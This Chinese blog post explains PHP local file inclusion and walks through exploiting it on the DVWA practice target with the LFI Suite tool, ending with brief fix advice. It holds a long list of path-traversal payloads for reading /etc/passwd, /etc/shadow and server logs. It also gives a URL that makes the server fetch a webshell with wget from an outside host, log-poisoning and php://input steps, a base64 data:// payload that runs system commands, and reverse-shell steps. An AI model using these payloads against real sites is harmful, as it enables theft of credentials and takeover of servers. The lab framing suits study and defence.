今天在公众号看到了一个本地文件包含的利用工具,看了下国外大牛对该工具的使用的一个视频,感觉很厉害,通过该工具可对存在本地文件包含漏洞的站点进行利用并返回一个LFI shell,通过返回的LFI shell再次获取一个反向连接,从而可执行相关命令,以前对本地文件包含的利用大多都停留在读取文件,如果有远程文件包含的话就可以getshell。这篇文章主要是对本地文件包含的一个简单介绍及利用,主要是对工具的使用,也主要是记录下该过程,方便以后查看,然后再抽时间研究下大神源代码!大神请绕道而行!: )
0x01 文件包含漏洞原理
文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件是使用硬编码的,那么一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。而文件包含通常分为本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)。allow_url_fopen和 allow_url_include为0n的情况认为是远程文件包含漏洞,allow_url_fopen为off和 allow_url_include为0n为本地文件包含漏洞,如图1 配置文件所示。本次主要是利用本地文件包含,所以将allow_url_fopen设置为了off。
图1 php.ini配置
另外文件包含漏洞主要涉及到的危险函数主要是四个:include(),require()和include_once(),require_once()。
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。
include_once()和require_once():若文件中代码已被包含则不会再次包含。(来自简书)
0x02 文件包含漏洞危害
通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解,若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制;另外文件包含漏洞还可能导致执行任意代码,不管本地文件包含还是远程文件包含!
总之,常见的利用方法有以下三点:
一、读取目标主机上的其他文件,主要是本地文件包含。
二、包含可运行的网页***,主要是远程文件包含,前提是"allow_url_fopen"是激活的(默认是激活的,没几个人会修改)。
三、包含一个创建文件的相应代码文件,因为通过文件包含漏洞获取的shell不是长久的,如果这个漏洞修补了,那么shell也不存在了,因此需要创建一个真实的shell。我们可以先包含一个可以执行cmd的伪shell,然后使用wget加-O参数(类似:
http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wgethttp://x.x.x.x/muma.txt -O muma.php)获取一个真正的webshell。如果系统中没有wget命令,获取目录不可写,那么我们可以包含一个创建文件的脚本,然后通过脚本上传***文件。
其实除了以上三点外,应该还有一点就是执行任意命令!
0x03 实验环境
本次实验环境主要是利用dvwa平台进行演示,如图2所示。DVWA(Damn Vulnerable Web Application)是用PHP+mysql编写的一套web漏洞平台,说简单点就是所谓的网站漏洞靶机,该平台包含了SQL注入、XSS、本地文件包含、命令执行等一些常见的web安全漏洞,并且该平台是开源的,可以从官网直接下载。
图2 dvwa平台
0x04 本地文件包含利用工具
本次主要使用的是LFI SUIT本地文件包含利用工具,是一款用python2.7编写的神器,该适用于Windows,Linux 和 OS X,并且首次使用会自动配置,自动安装需要的模块,该工具提供了九种不同的文件包含***模块,如图3所示。另外当你通过一个可利用的***获取到一个LFI shell后,你可以通过输入“reverseshell”命令轻易地获得一个反向shell。但是前提是你必须让你的系统监听反向连接,比如使用“nc –lvp port”。
图3 九种不同的文件包含***模块
0x05 本地文件包含读取文件
在之前的本地文件包含漏洞中,大多数都是进行读取文件,如linux下的密码文件(../../../../etc/shadow以及../../../../etc/passwd),获取读取一些你知道物理路径的一些文件,如图4所示。
图4 读取已知路径下的文件
以下是一些简单的测试用例,根据实际情况进行适当的修改。在神器的目录下也包含了很多测试用例,可自行查看!
../../tomcat/conf/tomcat-users.xml
../
%2e%2e%2f whichtranslates to ../
%2e%2e/ whichtranslates to ../
..%2f whichtranslates to ../
%2e%2e%5c whichtranslates to ..\
%c1%1c
%c0%9v
%c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\'/bin/cat%20/etc/passwd\\'
\\'/bin/cat%20/etc/shadow\\'
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bo
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
../../../WEB-INF/web.xml
0x06 神器简单获取LFI shell
运行LFI SUIT工具及选择***模块
直接使用pythonlfisuite.py,如图5所示。此时我们选择利用功能模块1.
图5 运行本地文件包含利用工具
设置cookie
在我们选择利用功能模块1后,会提示让我们输入cookie,如图6所示:
图6 设置cookie
获取cookie
浏览器F12console输入document.cookie即可获取到当前cookie,如图7所示。
图7 获取cookie
成功获取LFI shell
输入cookie后,我们随便选择一个***模块试试,在此我们选择3,选取***模块后,我们输入漏洞地址即可成功获取到一个shell,如图8所示。
图8 成功获取LFI shell
0x07 自动模块获取lfi shell
如果我们不知道那个***模块可以返回shell,我们可以选择自动***模块。
图9 自动***模块
选择之后我们需要选择一个包含路径的文件,我们选择当前目录下的一个文件即可。
图10 选择文件
选择文件后该工具会尝试可能性的路径,并且加以利用。
图11 选择文件
如图12所示,我们成功获取了一个shell。
图12 成功获取shell
0x08 获取一个反向连接
在我们已经获取到的lfishell后,我们可以使用reverseshell来获取一个反向连接,我们先进行监听反向连接,如图13所示。
图13 设置监听反向连接
我们输入reverseshell后设置ip即可
图14 设置ip及端口
此时我们也成功获取到了一个反向连接,如图15所示。
图15 获取到反向连接
0x09 扫描模块
另外我们也可以先使用扫描模块,然后在选择对应的***模块也能成功获取到LFI shell。使用方法与上面都是一样的,再次就不再进行描述了。
0x10 ***模块简单介绍
这里主要是利用PHP的一些函数及伪协议的使用,通过查看PHP帮助文档对这些模块进行复现,与源代码中的利用存在一定的差异,参考文档。由于能力有限,其中两个模块完全失败,/proc/self/fd以及phpinfo模块,看了源代码应该是利用phpinfo的一个注入来上传一个包含PHP的代码,从而进行实现,但是没有利用成功。编程水平太差,谁能救救我!
/proc/self/environ
通过访问http://127.0.0.1/vulnerabilities/fi/?page=../../../../../../../../proc/self/environ查看是否可以包含/proc/self/environ文件,如果返回了环境变量信息则说明可以访问,如果返回为空,那么一般是无法访问。通过判断可以访问后,然后向User-Agent头中注入PHP代码(如)进行***,如果代码被成功注入到User-Agent头中,通过重新加载环境变量,最后会执行你的PHP代码。由于无法添加该文件的访问权限,因此没有复现成功,另外需要主机是linux!
php://filter
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流,因此我们可以结合php://input(见下文)来执行PHP代码,如图16,另外也可以将执行后的结果进行base64编码输入,如图17。
图16 php://filter执行PHP代码
图17 php://filter执行PHP代码base64输出
php://input
通过使用php://input然后输入PHP代码,然后就可以进行包含输入的PHP代码,如图18所示,也可以通过PHP代码进行wget一个***文件,从而可获取一个webshell。但是使用该模块,必须开启包含url功能!
图18 php://input执行PHP代码
/proc/self/fd
不知道如何利用,如果大牛路过,烦请多多指教!
access_log
这里主要是利用日志文件,我们访问的get请求以及User-Agent会记录到日志中,然后就可以构造一句话访问,如图19,也可以写在User-Agent中,通过连接日志文件即可获取到一句话,执行PHP代码,如图20,但是这里需要保证对日志文件有访问权限,并且知道日志文件路劲,否则不能成功,可以先包含日志文件,看有没有内容,如果没有内容一般就是不能访问!
图19 将PHP代码写入到日志中
图20 包含含有PHP代码的日志文件
phpinfo
通过查看源代码,好像是通过phpinfo注入,伪造提交一个含有PHP代码的文件,从而执行PHP代码,尝试了下依旧不成功,哎,,,,,有时间继续研究,路过的你知道的话,请多多指教!
data://
这里主要是使用data://来打印内容,使用base64加密,如进行base64编码,如图21所示,然后使用data://来进行包含PHP代码,data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==,从而可执行PHP代码,如图22。详情请点击此处。
图21 对PHP代码进行base64编码
图22 执行PHP代码
expect://
expect://主要是用于处理交互式的流,由 expect:// 封装协议打开的数据流 PTY 提供了对进程 stdio、stdout 和 stderr 的访问。该封装协议默认未开启,为了使用expect:// 封装器,你必须安装PECL 上的Expect 扩展。由于某些原因,此模块也没有复现成功,另外该封装协议默认不开启,所以也没有花时间进行复现了!详情参考。
0x11 总结与修复
本文主要是对文件包含做了一个简单的介绍,如文件包含漏洞的简单原理及危害,最重要的是对本地文件包含漏洞的进一步利用,通过本地文件包含漏洞,从而获取到一个反向连接或者是LFI shell。通过本文也让自己对本地文件包含的危害和利用都有了一定的提高,不在是只停留在读取文件上!
通过对该漏洞的利用,最安全的是设置allow_url_fopen和 allow_url_include为0ff,这样就不能利用该漏洞了,另一方面可以做白名单限制,相当于是硬编码,直接把需要包含的文件固定死,这样既不会影响业务,也不会很轻松被利用,其次还是对用户的输入保持怀疑态度,对用户的输入变量进行严格的检查及过滤!